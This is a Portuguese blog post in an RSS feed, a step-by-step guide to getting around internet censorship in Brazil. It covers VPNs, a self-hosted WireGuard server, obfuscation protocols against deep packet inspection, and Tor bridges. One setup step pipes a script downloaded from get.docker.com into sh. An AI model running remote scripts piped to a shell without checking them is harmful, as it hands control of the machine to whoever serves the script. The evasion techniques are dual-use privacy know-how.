<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>AkitaOnRails.com</title><link>https://www.akitaonrails.com/</link><description>Blog do Fabio Akita do Canal do YouTube 'Akitando' falando sobre tecnologia, carreira e coisas geek.</description><generator>Hugo -- gohugo.io</generator><language>pt-BR</language><lastBuildDate>Wed, 19 Aug 2026 16:10:19 GMT</lastBuildDate><atom:link href="https://www.akitaonrails.com/index.xml" rel="self" type="application/rss+xml"/><item><title>Guia de Sobrevivência para uma Internet Censurada</title><link>https://www.akitaonrails.com/2026/08/19/guia-de-sobrevivencia-para-uma-internet-censurada/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/08/19/guia-de-sobrevivencia-para-uma-internet-censurada/</guid><pubDate>Wed, 19 Aug 2026 12:00:00 GMT</pubDate><description>&lt;p&gt;Semana passada eu escrevi sobre &lt;a href="https://www.akitaonrails.com/2026/08/13/entendendo-a-censura-ao-discord-e-a-eca-digital/"&gt;a censura ao Discord e a ECA Digital&lt;/a&gt;: a ANPD mandou desligar o Go Live no país inteiro porque a criptografia de ponta a ponta impede a vigilância do conteúdo, e no mesmo pacote veio a primeira majorante de pena da história pra quem comete crime &amp;ldquo;usando VPN&amp;rdquo;. Depois daquele artigo, a pergunta que mais recebi foi a óbvia: &lt;em&gt;&amp;ldquo;tá, e o que eu faço?&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Este artigo é a resposta. Não é teoria de conspiração nem exercício de estilo: é um guia prático, do mais fácil ao mais complicado, pra você manter seus canais de comunicação de pé conforme o cerco for fechando. Porque o cerco &lt;strong&gt;está&lt;/strong&gt; fechando, e convém entender o ritmo dele antes de escolher suas ferramentas.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Semana passada eu escrevi sobre <a href="/2026/08/13/entendendo-a-censura-ao-discord-e-a-eca-digital/">a censura ao Discord e a ECA Digital</a>: a ANPD mandou desligar o Go Live no país inteiro porque a criptografia de ponta a ponta impede a vigilância do conteúdo, e no mesmo pacote veio a primeira majorante de pena da história pra quem comete crime &ldquo;usando VPN&rdquo;. Depois daquele artigo, a pergunta que mais recebi foi a óbvia: <em>&ldquo;tá, e o que eu faço?&rdquo;</em></p>
<p>Este artigo é a resposta. Não é teoria de conspiração nem exercício de estilo: é um guia prático, do mais fácil ao mais complicado, pra você manter seus canais de comunicação de pé conforme o cerco for fechando. Porque o cerco <strong>está</strong> fechando, e convém entender o ritmo dele antes de escolher suas ferramentas.</p>
<h2>O histórico: nada disso é novo<span class="hx:absolute hx:-mt-20" id="o-histórico-nada-disso-é-novo"></span>
    <a href="#o-hist%c3%b3rico-nada-disso-%c3%a9-novo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quem se surpreendeu com o caso do Discord não estava prestando atenção. O Judiciário brasileiro bloqueia serviços de comunicação há mais de uma década, sempre por cima de milhões de usuários inocentes pra atingir meia dúzia de investigados:</p>
<ul>
<li><strong>WhatsApp, 2015 e 2016</strong>: bloqueado <a href="https://g1.globo.com/tecnologia/noticia/2022/03/18/whatsapp-ja-foi-bloqueado-por-decisao-judicial-em-2015-e-2016-no-brasil.ghtml"target="_blank" rel="noopener">três vezes por juízes de primeira instância</a>, sempre porque a empresa não entregava conversas que, por desenho, ela não consegue ler.</li>
<li><strong>Telegram, 2022 e 2023</strong>: suspenso <a href="https://www.gazetadopovo.com.br/republica/stf-voltara-a-julgar-bloqueio-do-whatsapp-moraes-ja-suspendeu-telegram/"target="_blank" rel="noopener">por dois dias por ordem de Moraes em março de 2022</a>, e de novo por um juiz federal em 2023. O <a href="https://www.migalhas.com.br/depeso/414499/stf-alem-do-x-relembre-os-bloqueios-do-whatsapp-e-telegram-no-brasil"target="_blank" rel="noopener">Migalhas tem a linha do tempo completa</a>.</li>
<li><strong>X/Twitter, 2024</strong>: o marco. <a href="https://itforum.com.br/noticias/de-outubro-a-outubro-confronto-x-e-stf/"target="_blank" rel="noopener">Suspensão nacional de 30 de agosto a 8 de outubro</a>, <strong>40 dias</strong>, por ordem monocrática. E aqui vem o detalhe que importa pra este guia: a decisão incluía <a href="https://www.gazetadopovo.com.br/mundo/crise-eua-moraes-twitter-files-lei-magnitsky/"target="_blank" rel="noopener">multa de R$ 50 mil por dia pra qualquer pessoa física que acessasse o X por VPN</a>, ordem pras lojas de app removerem aplicativos de VPN (recuou horas depois), e <a href="https://istoedinheiro.com.br/pf-e-anatel-enviam-ao-stf-relatorios-sobre-acessos-ao-x-mesmo-com-bloqueio"target="_blank" rel="noopener">PF e Anatel produzindo relatórios sobre quem burlou o bloqueio</a> pra subsidiar as multas.</li>
</ul>
<p>Repare no que aconteceu ali: pela primeira vez, usar uma ferramenta neutra de privacidade virou, por si só, conduta punível no Brasil. Ninguém foi multado no fim das contas, mas a infraestrutura pra multar foi montada, testada e documentada. E em 2026 o Congresso votou e o presidente sancionou a majorante de pena pra crimes cometidos com VPN. O precedente do X deixou de ser exceção e virou repertório.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> no caso do X, o Estado brasileiro já tratou usuário de VPN como infrator, já tentou tirar VPN da loja de apps e já pediu relatório de quem burlou. Não é hipótese. É histórico.</p>

</blockquote>
<h2>O destino final: o modelo chinês<span class="hx:absolute hx:-mt-20" id="o-destino-final-o-modelo-chinês"></span>
    <a href="#o-destino-final-o-modelo-chin%c3%aas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não me resta dúvida de que gente muito bem posicionada no governo olha pra <a href="https://freedomhouse.org/country/china/freedom-net/2024"target="_blank" rel="noopener">Grande Muralha da China</a> com inveja, não com horror. E vale entender o que ela é, porque ela define o limite do jogo.</p>
<p>A Muralha não é um &ldquo;bloqueio de site&rdquo;. É inspeção profunda de pacotes (DPI) em escala nacional, rodando na espinha dorsal da internet do país: todo tráfego é classificado em tempo real, protocolos de VPN conhecidos são identificados pelo formato do aperto de mão e derrubados, o Tor é bloqueado por padrão, e só VPNs <strong>homologadas pelo Estado</strong> (ou seja, com porta dos fundos) operam legalmente. Cidadão comum pego usando VPN não autorizada toma multa. E mesmo quando o tráfego não pode ser lido, os metadados entregam o jogo: quem fala com quem, quando, por quanto tempo.</p>
<p>Por isso a resposta honesta pra pergunta &ldquo;dá pra burlar uma Muralha dessas sem ser notado?&rdquo; é: <strong>não, não pra um cidadão comum</strong>. Contra um firewall estatal desse nível, nenhuma ferramenta doméstica te torna invisível. No máximo te torna caro demais pra valer a pena perseguir em massa. Quem te vender invisibilidade total está mentindo.</p>
<p>A boa notícia é que o Brasil não está nem perto desse ponto. Censura não é um interruptor, é uma escada, e cada degrau tem uma defesa correspondente. O resto deste guia é essa escada, degrau por degrau. A lógica de tudo que vem a seguir é uma só: <strong>censura é uma questão de custo</strong>. Nosso trabalho é deixar o bloqueio caro, tecnicamente e politicamente, até que massificar ele seja impraticável.</p>
<h2>Fase 1: VPN comercial, o mínimo que todo mundo deveria ter<span class="hx:absolute hx:-mt-20" id="fase-1-vpn-comercial-o-mínimo-que-todo-mundo-deveria-ter"></span>
    <a href="#fase-1-vpn-comercial-o-m%c3%adnimo-que-todo-mundo-deveria-ter" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Comece pelo óbvio. Uma VPN (rede privada virtual) cria um túnel criptografado entre o seu dispositivo e um servidor do provedor. Seu provedor de internet passa a ver só um fluxo cifrado indo pra um endereço só; os sites que você acessa veem o IP da VPN, não o seu. Eu explico a fundo, com a teoria de redes por baixo, no <a href="https://akitaonrails.com/2022/08/29/akitando-126-criando-uma-rede-segura-introducao-a-redes-parte-6-vpn-e-nas/"target="_blank" rel="noopener">Akitando 126</a>.</p>
<p>O que uma VPN <strong>faz</strong>: esconde seu tráfego do provedor de internet, troca seu IP de saída, te tira de bloqueios geográficos e de bloqueios judiciais por DNS/IP. O que ela <strong>não faz</strong>:</p>
<ul>
<li><strong>Não te torna anônimo.</strong> O provedor da VPN vê todo o seu tráfego no lugar do seu ISP. Você não eliminou o vigia, só trocou de vigia.</li>
<li><strong>Não esconde sua identidade se você pagou com cartão.</strong> Assinatura com cartão de crédito amarra a conta de VPN ao seu CPF. Se a autoridade chegar com ordem judicial no provedor, seu nome está lá.</li>
<li><strong>Não protege o conteúdo depois do túnel.</strong> Da saída da VPN até o site final vale a criptografia normal da web (HTTPS). A VPN é um trecho do caminho, não o caminho inteiro.</li>
</ul>
<p>Dito isso, pras fases iniciais do cerco ela resolve. Minhas recomendações, em ordem:</p>
<ul>
<li><strong><a href="https://protonvpn.com/"target="_blank" rel="noopener">ProtonVPN</a></strong>: Suíça, fora da jurisdição fácil, código aberto e auditado, política de não guardar registros testada em tribunal, tem plano gratuito decente e aceita pagamento até em dinheiro pelo correio.</li>
<li><strong><a href="https://mullvad.net/"target="_blank" rel="noopener">Mullvad</a></strong>: Suécia, a mais paranoica do mercado: não pede nem e-mail, sua conta é um número aleatório. Preço fixo de €5/mês, aceita dinheiro vivo num envelope e criptomoeda. É o mais próximo de &ldquo;VPN sem identidade&rdquo; que existe em produto comercial.</li>
<li>NordVPN e similares funcionam tecnicamente, mas o dinheiro delas vai mais pra marketing do que pra postura de privacidade. Entre as grandes, fico com as duas acima.</li>
</ul>
<p><strong>O limite dessa fase</strong> é conhecido: os IPs de saída das VPNs famosas são públicos e catalogados. Uma ordem da ANPD ou da Anatel pros provedores nacionais bloquearem esses ranges é tecnicamente trivial, e o caso do X mostrou que remover o app da loja também está no cardápio. Quando (não se) isso acontecer, a VPN comercial morre em um dia. Por isso existe a Fase 2.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> VPN comercial é o cinto de segurança: use sempre, mas saiba que ela depende de três coisas fora do seu controle. O app continuar na loja, os IPs continuarem desbloqueados e o provedor continuar honesto.</p>

</blockquote>
<h2>Fase 2: VPN auto-hospedada, seu próprio túnel<span class="hx:absolute hx:-mt-20" id="fase-2-vpn-auto-hospedada-seu-próprio-túnel"></span>
    <a href="#fase-2-vpn-auto-hospedada-seu-pr%c3%b3prio-t%c3%banel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A jogada aqui muda de figura: em vez de assinar um serviço com milhões de usuários e IPs catalogados, você aluga um servidorzinho barato fora do Brasil e monta a sua VPN pessoal. Não existe lista pública do seu IP pra censura baixar. Você é um usuário de um IP desconhecido, indistinguível de qualquer outro tráfego até ser analisado de perto.</p>
<p><strong>Escolha do provedor (e por que não AWS, Azure ou Google Cloud).</strong> As nuvens grandes têm faixas de IP (ASNs) enormes, públicas e mapeadas. Bloquear elas inteiras é uma linha numa tabela de roteamento; o freio é só o dano colateral (muita empresa brasileira legítima está lá), e outros países já pagaram esse preço em situações de crise. Provedores menores diluem esse alvo. Opções que eu consideraria, do médio pro pequeno:</p>
<table>
  <thead>
      <tr>
          <th>Provedor</th>
          <th>Sede</th>
          <th>Por que</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><a href="https://www.hetzner.com/cloud"target="_blank" rel="noopener">Hetzner</a></td>
          <td>Alemanha/Finlândia</td>
          <td>Barato, confiável, fora do alcance fácil</td>
      </tr>
      <tr>
          <td><a href="https://www.ovhcloud.com/"target="_blank" rel="noopener">OVH</a> / <a href="https://www.scaleway.com/"target="_blank" rel="noopener">Scaleway</a></td>
          <td>França</td>
          <td>Idem, jurisdição europeia</td>
      </tr>
      <tr>
          <td><a href="https://contabo.com/"target="_blank" rel="noopener">Contabo</a></td>
          <td>Alemanha</td>
          <td>Muito barato, perfil baixo</td>
      </tr>
      <tr>
          <td><a href="https://www.vultr.com/"target="_blank" rel="noopener">Vultr</a> / <a href="https://www.digitalocean.com/"target="_blank" rel="noopener">DigitalOcean</a></td>
          <td>EUA/global</td>
          <td>Médios, conhecidos mas não gigantes</td>
      </tr>
      <tr>
          <td><a href="https://my.frantech.ca/"target="_blank" rel="noopener">BuyVM</a>, <a href="https://hosthatch.com/"target="_blank" rel="noopener">HostHatch</a>, <a href="https://liteserver.nl/"target="_blank" rel="noopener">LiteServer</a></td>
          <td>EUA/Europa</td>
          <td>Pequenos, fora de qualquer lista óbvia</td>
      </tr>
  </tbody>
</table>
<p>Uma máquina de US$ 3 a 5 por mês, com 1 GB de RAM, sobra pra uma VPN pessoal. <strong>Ressalva importante:</strong> pagar VPS com cartão deixa rastro igual à VPN comercial: seu nome está no cadastro do provedor, e o provedor pode ser compelido judicialmente. Alguns aceitam criptomoeda, o que reduz (não elimina) o rastro. Pra maioria das pessoas, nesta fase, o risco de cadastro é aceitável: você não está se escondendo de uma investigação, está saindo da mira de um bloqueio em massa.</p>
<h3>Passo a passo: WireGuard com wg-easy<span class="hx:absolute hx:-mt-20" id="passo-a-passo-wireguard-com-wg-easy"></span>
    <a href="#passo-a-passo-wireguard-com-wg-easy" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Vou usar o <a href="https://github.com/wg-easy/wg-easy"target="_blank" rel="noopener">wg-easy</a>, que empacota o WireGuard (o protocolo de VPN moderno, rápido e auditável) num container Docker com painel web e QR code pra configurar o celular em segundos.</p>
<p><strong>1. Alugue o VPS.</strong> Ubuntu 24.04, a menor máquina disponível, região fora do Brasil (Amsterdã, Frankfurt e Helsinque são escolhas clássicas por jurisdição e latência aceitável).</p>
<p><strong>2. Acesse e atualize:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ssh root@SEU_IP
</span></span><span class="line"><span class="cl">apt update <span class="o">&amp;&amp;</span> apt upgrade -y</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>3. Instale o Docker:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -fsSL https://get.docker.com <span class="p">|</span> sh</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>4. Gere o hash da senha do painel</strong> (o wg-easy não aceita senha em texto puro; anote a senha que você escolher):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker run --rm -it ghcr.io/wg-easy/wg-easy wgpw <span class="s1">&#39;SuaSenhaForteAqui&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># a saída é algo como: PASSWORD_HASH=$2b$12$abc...</span>
</span></span><span class="line"><span class="cl"><span class="c1"># no comando abaixo, duplique cada cifrão: $ vira $$</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>5. Suba o container:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker run -d <span class="se">\
</span></span></span><span class="line"><span class="cl">  --name<span class="o">=</span>wg-easy <span class="se">\
</span></span></span><span class="line"><span class="cl">  -e <span class="nv">WG_HOST</span><span class="o">=</span>SEU_IP <span class="se">\
</span></span></span><span class="line"><span class="cl">  -e <span class="nv">PASSWORD_HASH</span><span class="o">=</span><span class="s1">&#39;$$2b$$12$$abc...&#39;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  -v ~/.wg-easy:/etc/wireguard <span class="se">\
</span></span></span><span class="line"><span class="cl">  -p 51820:51820/udp <span class="se">\
</span></span></span><span class="line"><span class="cl">  -p 51821:51821/tcp <span class="se">\
</span></span></span><span class="line"><span class="cl">  --cap-add<span class="o">=</span>NET_ADMIN <span class="se">\
</span></span></span><span class="line"><span class="cl">  --sysctl<span class="o">=</span><span class="s2">&#34;net.ipv4.conf.all.src_valid_mark=1&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  --sysctl<span class="o">=</span><span class="s2">&#34;net.ipv4.ip_forward=1&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  --restart unless-stopped <span class="se">\
</span></span></span><span class="line"><span class="cl">  ghcr.io/wg-easy/wg-easy</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>6. Libere o firewall.</strong> A porta 51820/UDP é o túnel em si. A 51821/TCP é o painel: <strong>não deixe o painel exposto pra internet</strong>. O jeito certo é abri-lo só via túnel SSH (<code>ssh -L 51821:localhost:51821 root@SEU_IP</code> e acessar <code>localhost:51821</code> no navegador), ou liberar 51821 só pra criar seus clientes e fechar em seguida.</p>
<p><strong>7. Crie os clientes.</strong> No painel, um clique gera um cliente com QR code. Aponte a câmera do app oficial do WireGuard (Android/iOS) e está pronto. No notebook, baixe o arquivo de configuração e importe no cliente WireGuard.</p>
<p>Pronto: todo o tráfego do seu dispositivo sai pelo seu servidor europeu. Seu provedor brasileiro vê apenas um fluxo cifrado pra um IP qualquer da Alemanha.</p>
<h3>E na sua máquina, como usa?<span class="hx:absolute hx:-mt-20" id="e-na-sua-máquina-como-usa"></span>
    <a href="#e-na-sua-m%c3%a1quina-como-usa" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O servidor é metade da história. No seu dispositivo, o ritual é esse:</p>
<p><strong>No celular (Android/iOS):</strong> instale o app oficial do <a href="https://www.wireguard.com/install/"target="_blank" rel="noopener">WireGuard</a> pela loja (ou pelo F-Droid, no Android). Toque no <strong>&quot;+&quot;</strong>, escolha &ldquo;Escanear QR code&rdquo; e aponte pro código que o painel do wg-easy mostrou. Aparece um &ldquo;túnel&rdquo; novo na lista: um toque no interruptor e você está dentro. No iOS, ative o &ldquo;On-Demand&rdquo; nas configurações do túnel pra ele religar sozinho quando trocar de rede (Wi-Fi pro 4G, por exemplo).</p>
<p><strong>No notebook (Windows/macOS):</strong> baixe o cliente oficial do WireGuard pro seu sistema, clique em &ldquo;Importar túnel de arquivo&rdquo; e selecione o <code>.conf</code> que você baixou do painel. Um clique em &ldquo;Ativar&rdquo; e pronto. Detalhe importante: o cliente oficial tem a opção <strong>&ldquo;Bloquear tráfego fora do túnel&rdquo;</strong> (o kill switch): ligue ela. Se o túnel cair, sua internet para em vez de vazar pelo IP real.</p>
<p><strong>No Linux:</strong> copie o <code>.conf</code> pra <code>/etc/wireguard/wg0.conf</code> e suba com <code>sudo wg-quick up wg0</code> (e <code>sudo systemctl enable wg-quick@wg0</code> pra subir no boot). Ou importe o arquivo direto no NetworkManager pela interface gráfica, se preferir clicar em vez de digitar.</p>
<p><strong>Conferindo se funcionou:</strong> com o túnel ativado, rode <code>curl ifconfig.me</code> no terminal (ou abra <code>ipleak.net</code> no navegador). Tem que aparecer o IP da sua VPS, não o da sua casa. E visite <code>dnsleaktest.com</code>: o DNS também tem que sair pelo túnel. Se aparecer o servidor de DNS do seu provedor de internet, tem vazamento pra corrigir.</p>
<p><strong>Manutenção mínima:</strong> ative <code>unattended-upgrades</code> pro sistema se atualizar sozinho, use chave SSH em vez de senha, e não instale mais nada nessa máquina. Superfície pequena, risco pequeno.</p>
<p><strong>E se você travou em algum passo?</strong> Uma dica de 2026: você não precisa mais dominar cada comando desse guia. Alugue a VPS, pegue o acesso SSH e entregue pro Claude Code (ou o harness de IA da sua preferência) com um pedido simples tipo &ldquo;configura o wg-easy nessa máquina, com o painel acessível só por túnel SSH&rdquo;. Ele executa os comandos, lê os erros e itera até funcionar. O mesmo vale do outro lado: na sua máquina local, dá pra pedir pra ele importar o <code>.conf</code>, subir o <code>wg-quick</code>, ativar no boot e ainda conferir vazamento de DNS no final. Eu faço isso com frequência e funciona muito bem. A barreira técnica desse artigo inteiro, na prática, virou uma conversa.</p>
<h3>Erros comuns (e como evitar)<span class="hx:absolute hx:-mt-20" id="erros-comuns-e-como-evitar"></span>
    <a href="#erros-comuns-e-como-evitar" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Vejo sempre os mesmos tropeços quando alguém monta a primeira VPN própria. Todos evitáveis:</p>
<ul>
<li><strong>Expor o painel do wg-easy pra internet.</strong> O erro clássico número um. O painel é a chave do cofre: aberto na 51821, qualquer scan de botnet acha em horas. Túnel SSH sempre, porta aberta nunca.</li>
<li><strong>Senha fraca ou reciclada no painel e no SSH.</strong> A VPN inteira protegida por <code>123mudar</code> é pior que não ter VPN. E desligue o login SSH por senha de vez (<code>PasswordAuthentication no</code> no <code>sshd_config</code>) depois de configurar sua chave.</li>
<li><strong>Achar que está anônimo porque o IP é &ldquo;seu&rdquo;.</strong> A VPS está no seu nome, paga com o seu cartão. Ela te protege de bloqueio em massa, não de investigação com o seu nome nela. Nível de paranoia errado gera falsa sensação de segurança, que é pior que nenhuma.</li>
<li><strong>VPS no Brasil ou de empresa brasileira.</strong> Já vi gente montar &ldquo;VPN de privacidade&rdquo; em provedor nacional. Se a ordem judicial chega no mesmo país, você não saiu do alcance, só mudou de prateleira. Servidor fora, jurisdição fora.</li>
<li><strong>Distribuir acesso pra meio mundo.</strong> Cada pessoa extra é um dispositivo a mais, um padrão de uso a mais, uma boca a mais. Família próxima, ok; grupo de 40 contatos, não. Quanto mais gente no mesmo IP, mais rápido ele entra em alguma lista.</li>
<li><strong>Usar a mesma máquina pra outras coisas.</strong> Blog pessoal, bot de Telegram, seedbox: tudo isso aumenta a superfície de ataque e amarra identidades que você queria separadas. VPS da VPN é só da VPN.</li>
<li><strong>Confiar sem testar vazamento.</strong> Depois de configurar, teste: <code>ipleak.net</code> ou <code>dnsleaktest.com</code> com a VPN ligada. Se aparecer seu IP real ou o DNS do seu provedor, algo está errado, e você só descobre assim.</li>
<li><strong>Instalar e abandonar.</strong> Servidor sem atualização por um ano é servidor com vulnerabilidade conhecida. E teste a conexão de tempos em tempos: o que funciona hoje pode estar fingerprintado amanhã.</li>
<li><strong>Não ter backup da configuração.</strong> O diretório <code>~/.wg-easy</code> guarda tudo (chaves, clientes). Guarde uma cópia criptografada local. Se a VPS morrer ou for desligada pelo provedor, você sobe outra em dez minutos em vez de recomeçar do zero.</li>
</ul>
<blockquote>
  <p><strong>Pra guardar:</strong> uma VPS de US$ 5 fora do Brasil com WireGuard te tira de qualquer bloqueio em massa por IP catalogado. O preço é o cadastro no provedor: aceitável contra bloqueio, insuficiente contra investigação nominada.</p>

</blockquote>
<h2>O inimigo invisível: DPI<span class="hx:absolute hx:-mt-20" id="o-inimigo-invisível-dpi"></span>
    <a href="#o-inimigo-invis%c3%advel-dpi" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Até aqui, assumi que o censor bloqueia <strong>endereços</strong>. O próximo nível dele é bloquear <strong>formatos</strong>, e é aí que mora a inspeção profunda de pacotes (DPI).</p>
<p>Mesmo criptografado, um túnel de VPN tem assinatura. O aperto de mão inicial do WireGuard e do OpenVPN tem tamanhos de pacote, sequências e tempos característicos. O conteúdo é ilegível, mas o formato grita &ldquo;eu sou uma VPN&rdquo;. A China faz exatamente isso em escala nacional: não precisa ler seu tráfego, basta reconhecer o protocolo e derrubar a conexão.</p>
<p>A resposta técnica é <strong>ofuscação</strong>: fazer o túnel parecer outra coisa.</p>
<ul>
<li><strong><a href="https://amnezia.org/"target="_blank" rel="noopener">AmneziaWG</a></strong>: um fork do WireGuard que injeta pacotes de lixo e embaralha os cabeçalhos até a assinatura sumir. Mesma base auditada do WireGuard, app gratuito pra todas as plataformas, e aponta pro mesmo tipo de VPS da Fase 2. Se você montou wg-easy, migrar pra Amnezia é o passo natural quando o DPI chegar.</li>
<li><strong>udp2raw</strong>: enfia o tráfego UDP do WireGuard dentro de pacotes TCP falsos, que parecem uma conexão comum.</li>
<li><strong>Shadowsocks</strong>: nasceu na China exatamente pra isso, um proxy criptografado desenhado pra não ter assinatura reconhecível.</li>
</ul>
<p>Repare que ainda estamos falando de ferramentas gratuitas e de uma VPS de US$ 5. O custo sobe pro censor muito mais rápido do que pra você.</p>
<h2>Fase 3: quando nem a sua VPS basta<span class="hx:absolute hx:-mt-20" id="fase-3-quando-nem-a-sua-vps-basta"></span>
    <a href="#fase-3-quando-nem-a-sua-vps-basta" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se o cenário degradar ao ponto de DPI nacional com bloqueio de protocolos, o jogo vira camuflagem pesada e redundância. As opções reais, em ordem de esforço:</p>
<p><strong>Protocolos que se disfarçam de HTTPS comum.</strong> O estado da arte hoje é o <strong>VLESS com Reality</strong> (do projeto Xray-core): seu tráfego se apresenta como uma conexão TLS 1.3 legítima pra um site real e inocente, com certificado, aperto de mão e padrão de pacotes indistinguíveis de um acesso normal. Pra bloquear você, o censor teria que bloquear o site inocente junto, e o dano colateral é a defesa. <strong>Trojan-Go</strong> segue filosofia parecida. O <strong>Outline</strong>, da Jigsaw (Google), empacota Shadowsocks com um gerenciador amigável se você quiser distribuir acessos pra família e amigos.</p>
<p><strong>Tor com pontes (bridges).</strong> O Tor puro é bloqueado por padrão nos países censurados, mas as pontes obfs4 e o Snowflake foram feitos sob medida pra esse cenário: Snowflake mascara sua entrada na rede Tor como uma videochamada comum de WebRTC. É lento, esquece streaming, mas é a rede mais difícil de extinguir que existe, mantida justamente pra jornalista e ativista em país hostil.</p>
<p><strong>Redundância e rotação.</strong> Duas ou três VPS baratas em provedores diferentes, com failover automático. Se uma cair numa lista negra, você troca em minutos: instância nova, IP novo. Seu custo: mais US$ 5. O custo do censor: descobrir e bloquear de novo, toda vez.</p>
<p><strong>Acessos alternativos.</strong> Starlink e outros links via satélite saem completamente da infraestrutura terrestre nacional. Enquanto não forem também regulados, são o último recurso físico. E pros casos extremos, a sneakernet de sempre: pendrive, disco externo, cópia física.</p>
<p><strong>Higiene do lado do cliente</strong>, que vale em todas as fases:</p>
<ul>
<li><strong>Kill switch ligado</strong>: se o túnel cai, o dispositivo corta a internet em vez de vazar pelo IP real.</li>
<li><strong>Proteção contra vazamento de DNS</strong>: suas consultas de DNS têm que ir pelo túnel, senão seu provedor continua vendo cada site que você visita.</li>
<li><strong>WebRTC desligado no navegador</strong> (ou use extensão): ele vaza seu IP real mesmo com VPN ativa.</li>
<li><strong>VPN ligada quando necessário, não sempre</strong>: padrão de uso 24/7 vira ele mesmo uma assinatura comportamental.</li>
</ul>
